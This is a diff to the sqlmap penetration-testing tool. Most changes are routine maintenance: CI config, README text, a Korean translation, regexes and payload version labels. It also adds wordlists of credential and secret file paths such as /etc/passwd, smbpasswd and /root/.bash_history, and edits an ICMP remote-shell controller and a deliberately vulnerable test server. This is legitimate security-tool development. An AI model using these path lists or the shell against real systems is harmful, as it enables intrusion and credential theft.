Fixes #4024

Adding the following system schemas to the list of Oracle System Schemas:

ADAMS, JONES, CLARK, BLAKE, DEMO, AURORA$ORB$UNAUTHENTICATED, AWR_STAGE, CSMIG, DSSYS, PERFSTAT, TRACESVR, TSMSYS

http://www.orafaq.com/wiki/List_of_default_database_users

.travis.yml

@@ -1,13 +1,19 @@
 language: python
-dist: trusty
+jobs:
+    include:
+        - python: 2.6
+          dist: trusty
+        - python: 2.7
+          dist: trusty
+        - python: 3.3
+          dist: trusty
+        - python: 3.6
+          dist: trusty
+        - python: 3.8
+          dist: xenial
 sudo: false
 git:
     depth: 1
-python:
-    - "2.6"
-    - "2.7"
-    - "3.3"
-    - "3.6"
 script:
     - python -c "import sqlmap; import sqlmapapi"
     - python sqlmap.py --smoke

README.md

@@ -1,17 +1,17 @@
-# sqlmap
+# sqlmap ![](https://i.imgur.com/fe85aVR.png)
 
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
-sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
+sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
 
-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
+**The sqlmap project is currently searching for sponsor(s).**
 
 Screenshots
 ----
 
 ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
 
-You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
+You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
 
 Installation
 ----
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
     python sqlmap.py -hh
 
 You can find a sample run [here](https://asciinema.org/a/46601).
-To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 
 Links
 ----
@@ -63,6 +63,7 @@ Translations
 * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
 * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
+* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)

data/txt/common-files.txt

@@ -192,6 +192,42 @@
 /var/log/mysqld.log
 /var/www/index.php
 
+# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810
+
+/var/www/index.php
+/usr/local/apache/index.php
+/usr/local/apache2/index.php
+/usr/local/www/apache22/index.php
+/usr/local/www/apache24/index.php
+/usr/local/httpd/index.php
+/var/www/nginx-default/index.php
+/srv/www/index.php
+
+/var/www/config.php
+/usr/local/apache/config.php
+/usr/local/apache2/config.php
+/usr/local/www/apache22/config.php
+/usr/local/www/apache24/config.php
+/usr/local/httpd/config.php
+/var/www/nginx-default/config.php
+/srv/www/config.php
+
+# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
+
+/srv/www/htdocs/index.php
+/usr/local/apache2/htdocs/index.php
+/usr/local/www/data/index.php
+/var/apache2/htdocs/index.php
+/var/www/htdocs/index.php
+/var/www/html/index.php
+
+/srv/www/htdocs/config.php
+/usr/local/apache2/htdocs/config.php
+/usr/local/www/data/config.php
+/var/apache2/htdocs/config.php
+/var/www/htdocs/config.php
+/var/www/html/config.php
+
 # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
 
 /etc/passwd
@@ -1639,3 +1675,130 @@
 \web.config
 \windows\system32\drivers\etc\hosts
 \windows\win.ini
+
+# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
+
+/etc/apache2/.htpasswd
+/etc/apache/.htpasswd
+/etc/master.passwd
+/etc/muddleftpd/muddleftpd.passwd
+/etc/muddleftpd/passwd
+/etc/passwd
+/etc/passwd~
+/etc/passwd-
+/etc/pureftpd.passwd
+/etc/samba/private/smbpasswd
+/etc/samba/smbpasswd
+/etc/security/opasswd
+/etc/security/passwd
+/etc/smbpasswd
+\Program Files\xampp\apache\conf\httpd.conf
+/usr/local/pgsql/bin/pg_passwd
+/usr/local/pgsql/data/passwd
+/usr/pkgsrc/net/pureftpd/pureftpd.passwd
+/usr/ports/contrib/pure-ftpd/pureftpd.passwd
+/usr/ports/ftp/pure-ftpd/pureftpd.passwd
+/usr/ports/net/pure-ftpd/pureftpd.passwd
+/var/log/exim_rejectlog/etc/passwd
+/etc/mysql/conf.d/old_passwords.cnf
+/etc/password.master
+/var/www/.lighttpdpassword
+/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
+/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
+/Volumes/webBackup/opt/apache2/conf/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.default
+
+# Reference: https://pastebin.com/KgPsDXjg
+
+/etc/passwd
+/etc/crontab
+/etc/hosts
+/etc/my.cnf
+/etc/.htpasswd
+/root/.bash_history
+/etc/named.conf
+/proc/self/environ
+/etc/php.ini
+/bin/php.ini
+/etc/httpd/php.ini
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/local/etc/php.ini
+/usr/local/lib/php.ini
+/usr/local/php/lib/php.ini
+/usr/local/php4/lib/php.ini
+/usr/local/php5/lib/php.ini
+/usr/local/apache/conf/php.ini
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/apache2/php.ini
+/etc/php/php.ini
+/usr/local/apache/conf/modsec.conf
+/var/cpanel/cpanel.config
+/proc/self/environ
+/proc/self/fd/2
+/etc/ssh/sshd_config
+/var/lib/mysql/my.cnf
+/etc/mysql/my.cnf
+/etc/my.cnf
+/etc/logrotate.d/proftpd
+/www/logs/proftpd.system.log
+/var/log/proftpd
+/etc/proftp.conf
+/etc/protpd/proftpd.conf
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/proftpd/modules.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd/vsftpd.conf
+/etc/vsftpd.conf
+/etc/chrootUsers
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/usr/sbin/pure-config.pl
+/usr/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.conf
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pureftpd.pdb
+/etc/pureftpd.passwd
+/etc/pure-ftpd/pureftpd.pdb
+/var/log/ftp-proxy
+/etc/logrotate.d/ftp
+/etc/ftpchroot
+/etc/ftphosts
+/etc/smbpasswd
+/etc/smb.conf
+/etc/samba/smb.conf
+/etc/samba/samba.conf
+/etc/samba/smb.conf.user
+/etc/samba/smbpasswd
+/etc/samba/smbusers
+/var/lib/pgsql/data/postgresql.conf
+/var/postgresql/db/postgresql.conf
+/etc/ipfw.conf
+/etc/firewall.rules
+/etc/ipfw.rules
+/usr/local/etc/webmin/miniserv.conf
+/etc/webmin/miniserv.conf
+/usr/local/etc/webmin/miniserv.users
+/etc/webmin/miniserv.users
+/etc/squirrelmail/config/config.php
+/etc/squirrelmail/config.php
+/etc/httpd/conf.d/squirrelmail.conf
+/usr/share/squirrelmail/config/config.php
+/private/etc/squirrelmail/config/config.php
+/srv/www/htdos/squirrelmail/config/config.php

data/xml/banner/mysql.xml

@@ -1,5 +1,10 @@
 <?xml version="1.0" encoding="UTF-8"?>
 
+<!--
+     References:
+     * https://en.wikipedia.org/wiki/Debian_version_history
+-->
+
 <root>
     <regexp value="^([\d\.\-]+)[\-\_\ ].*">
         <info dbms_version="1"/>
@@ -36,19 +41,27 @@
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="7" codename="wheezy"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="8" codename="jessie"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="9" codename="stretch"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="10.0" codename="buster"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="10" codename="buster"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bullseye">
+        <info dbms_version="1" type="Linux" distrib="Debian" release="11" codename="bullseye"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bookworm">
+        <info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">

data/xml/errors.xml

@@ -7,13 +7,14 @@
         <error regexp="Warning.*?\Wmysqli?_"/>
         <error regexp="MySQLSyntaxErrorException"/>
         <error regexp="valid MySQL result"/>
-        <error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
+        <error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
         <error regexp="Unknown column '[^ ]+' in 'field list'"/>
         <error regexp="MySqlClient\."/>
         <error regexp="com\.mysql\.jdbc"/>
         <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
+        <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
     </dbms>
 
     <!-- PostgreSQL -->

data/xml/payloads/stacked_queries.xml

@@ -3,7 +3,7 @@
 <root>
     <!-- Stacked queries tests -->
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (comment)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
         <stype>4</stype>
         <level>2</level>
         <risk>1</risk>
@@ -19,12 +19,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries</title>
         <stype>4</stype>
         <level>3</level>
         <risk>1</risk>
@@ -39,12 +39,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
      <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (query SLEEP - comment)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
         <stype>4</stype>
         <level>3</level>
         <risk>1</risk>
@@ -60,12 +60,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (query SLEEP)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
         <stype>4</stype>
         <level>4</level>
         <risk>1</risk>
@@ -80,7 +80,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 

data/xml/payloads/time_blind.xml

@@ -169,7 +169,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>2</level>
         <risk>2</risk>
@@ -184,12 +184,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>2</level>
         <risk>3</risk>
@@ -204,12 +204,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query - comment)</title>
+        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)</title>
         <stype>5</stype>
         <level>5</level>
         <risk>2</risk>
@@ -225,12 +225,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query - comment)</title>
+        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)</title>
         <stype>5</stype>
         <level>5</level>
         <risk>3</risk>
@@ -246,7 +246,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -1506,7 +1506,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 time-based blind - Parameter replace (heavy queries)</title>
+        <title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
@@ -1521,7 +1521,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -1861,7 +1861,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
@@ -1876,7 +1876,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 

data/xml/queries.xml

@@ -3,7 +3,8 @@
 <root>
     <!-- MySQL -->
     <dbms value="MySQL">
-        <cast query="CAST(%s AS CHAR)"/>
+        <!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
+        <cast query="CAST(%s AS NCHAR)"/>
         <length query="CHAR_LENGTH(%s)"/>
         <isnull query="IFNULL(%s,' ')"/>
         <delimiter query=","/>
@@ -242,6 +243,9 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <hex query="RAWTOHEX(%s)"/>
+        <!--
+        NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
+        -->
         <inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
         <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
         <current_user query="SELECT USER FROM DUAL"/>

doc/translations/README-ko-KR.md

@@ -0,0 +1,50 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
+
+스크린샷
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다.
+
+설치
+----
+
+[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다.
+
+가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다:
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap은 [Python](http://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
+
+사용법
+----
+
+기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
+
+    python sqlmap.py -h
+
+전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
+
+    python sqlmap.py -hh
+
+[여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다.
+sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다.
+
+링크
+----
+
+* 홈페이지: http://sqlmap.org
+* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
+* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* 트위터: [@sqlmap](https://twitter.com/sqlmap)
+* 시연 영상: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

extra/beep/beep.py

@@ -15,11 +15,13 @@ BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
 
 def beep():
     try:
-        if sys.platform == "nt":
+        if sys.platform.startswith("win"):
             _win_wav_play(BEEP_WAV_FILENAME)
-        elif sys.platform == "darwin":
+        elif sys.platform.startswith("darwin"):
             _mac_beep()
-        elif sys.platform.startswith("linux"):
+        elif sys.platform.startswith("cygwin"):
+            _cygwin_beep(BEEP_WAV_FILENAME)
+        elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
             _linux_wav_play(BEEP_WAV_FILENAME)
         else:
             _speaker_beep()
@@ -34,6 +36,10 @@ def _speaker_beep():
     except IOError:
         pass
 
+# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
+def _cygwin_beep(filename):
+    os.system("play-sound-file '%s' 2>/dev/null" % filename)
+
 def _mac_beep():
     import Carbon.Snd
     Carbon.Snd.SysBeep(1)
@@ -57,7 +63,10 @@ def _linux_wav_play(filename):
     class struct_pa_sample_spec(ctypes.Structure):
         _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
 
-    pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
+    try:
+        pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
+    except OSError:
+        return
 
     wave_file = wave.open(filename, "rb")
 

extra/icmpsh/icmpsh_m.py

@@ -76,60 +76,63 @@ def main(src, dst):
     decoder = ImpactDecoder.IPDecoder()
 
     while True:
-        cmd = ''
+        try:
+            cmd = ''
 
-        # Wait for incoming replies
+            # Wait for incoming replies
-        if sock in select.select([sock], [], [])[0]:
+            if sock in select.select([sock], [], [])[0]:
-            buff = sock.recv(4096)
+                buff = sock.recv(4096)
 
-            if 0 == len(buff):
+                if 0 == len(buff):
-                # Socket remotely closed
+                    # Socket remotely closed
-                sock.close()
+                    sock.close()
-                sys.exit(0)
+                    sys.exit(0)
 
-            # Packet received; decode and display it
+                # Packet received; decode and display it
-            ippacket = decoder.decode(buff)
+                ippacket = decoder.decode(buff)
-            icmppacket = ippacket.child()
+                icmppacket = ippacket.child()
 
-            # If the packet matches, report it to the user
+                # If the packet matches, report it to the user
-            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
+                if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
-                # Get identifier and sequence number
+                    # Get identifier and sequence number
-                ident = icmppacket.get_icmp_id()
+                    ident = icmppacket.get_icmp_id()
-                seq_id = icmppacket.get_icmp_seq()
+                    seq_id = icmppacket.get_icmp_seq()
-                data = icmppacket.get_data_as_string()
+                    data = icmppacket.get_data_as_string()
 
-                if len(data) > 0:
+                    if len(data) > 0:
-                    sys.stdout.write(data)
+                        sys.stdout.write(data)
 
-                # Parse command from standard input
+                    # Parse command from standard input
-                try:
+                    try:
-                    cmd = sys.stdin.readline()
+                        cmd = sys.stdin.readline()
-                except:
+                    except:
-                    pass
+                        pass
 
-                if cmd == 'exit\n':
+                    if cmd == 'exit\n':
-                    return
+                        return
 
-                # Set sequence number and identifier
+                    # Set sequence number and identifier
-                icmp.set_icmp_id(ident)
+                    icmp.set_icmp_id(ident)
-                icmp.set_icmp_seq(seq_id)
+                    icmp.set_icmp_seq(seq_id)
 
-                # Include the command as data inside the ICMP packet
+                    # Include the command as data inside the ICMP packet
-                icmp.contains(ImpactPacket.Data(cmd))
+                    icmp.contains(ImpactPacket.Data(cmd))
 
-                # Calculate its checksum
+                    # Calculate its checksum
-                icmp.set_icmp_cksum(0)
+                    icmp.set_icmp_cksum(0)
-                icmp.auto_checksum = 1
+                    icmp.auto_checksum = 1
 
-                # Have the IP packet contain the ICMP packet (along with its payload)
+                    # Have the IP packet contain the ICMP packet (along with its payload)
-                ip.contains(icmp)
+                    ip.contains(icmp)
 
-                try:
+                    try:
-                    # Send it to the target host
+                        # Send it to the target host
-                    sock.sendto(ip.get_packet(), (dst, 0))
+                        sock.sendto(ip.get_packet(), (dst, 0))
-                except socket.error as ex:
+                    except socket.error as ex:
-                    sys.stderr.write("'%s'\n" % ex)
+                        sys.stderr.write("'%s'\n" % ex)
-                    sys.stderr.flush()
+                        sys.stderr.flush()
+        except:
+            break
 
 if __name__ == '__main__':
     if len(sys.argv) < 3:

extra/safe2bin/README.txt

@@ -1,17 +0,0 @@
-To use safe2bin.py you need to pass it the original file,
-and optionally the output file name.
-
-Example:
-
-$ python ./safe2bin.py -i output.txt -o output.txt.bin
-
-This will create an binary decoded file output.txt.bin. For example, 
-if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will 
-be decoded to: "	test	234
-newline"
-
-If you skip the output file name, general rule is that the binary
-file names are suffixed with the string '.bin'. So, that means that 
-the upper example can also be written in the following form:
-
-$ python ./safe2bin.py -i output.txt

extra/safe2bin/__init__.py

@@ -1,8 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-pass

extra/shutils/autocompletion.sh

@@ -0,0 +1,9 @@
+#/usr/bin/env bash
+
+# source ./extra/shutils/autocompletion.sh
+
+DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
+WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -`
+
+complete -W "$WORDLIST" sqlmap
+complete -W "$WORDLIST" ./sqlmap.py

extra/shutils/drei.sh

@@ -7,7 +7,7 @@
 
 export SQLMAP_DREI=1
 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i; done
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
 unset SQLMAP_DREI
 source `dirname "$0"`"/junk.sh"
 

extra/vulnserver/vulnserver.py

@@ -9,14 +9,17 @@ See the file 'LICENSE' for copying permission
 
 from __future__ import print_function
 
+import json
 import re
 import sqlite3
 import sys
 import threading
 import traceback
 
-if sys.version_info >= (3, 0):
+PY3 = sys.version_info >= (3, 0)
-    from http.client import FOUND
+UNICODE_ENCODING = "utf-8"
+
+if PY3:
     from http.client import INTERNAL_SERVER_ERROR
     from http.client import NOT_FOUND
     from http.client import OK
@@ -28,7 +31,6 @@ if sys.version_info >= (3, 0):
 else:
     from BaseHTTPServer import BaseHTTPRequestHandler
     from BaseHTTPServer import HTTPServer
-    from httplib import FOUND
     from httplib import INTERNAL_SERVER_ERROR
     from httplib import NOT_FOUND
     from httplib import OK
@@ -95,48 +97,82 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.send_response(INTERNAL_SERVER_ERROR)
                 self.send_header("Connection", "close")
                 self.end_headers()
-                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
+                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
                 return
 
         if hasattr(self, "data"):
-            params.update(parse_qs(self.data))
+            if self.data.startswith('{') and self.data.endswith('}'):
+                params.update(json.loads(self.data))
+            elif self.data.startswith('<') and self.data.endswith('>'):
+                params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
+            else:
+                params.update(parse_qs(self.data))
+
+        for name in self.headers:
+            params[name.lower()] = self.headers[name]
+
+        if "cookie" in params:
+            for part in params["cookie"].split(';'):
+                part = part.strip()
+                if '=' in part:
+                    name, value = part.split('=', 1)
+                    params[name.strip()] = unquote_plus(value.strip())
 
         for key in params:
-            if params[key]:
+            if params[key] and isinstance(params[key], (tuple, list)):
                 params[key] = params[key][-1]
 
         self.url, self.params = path, params
 
         if self.url == '/':
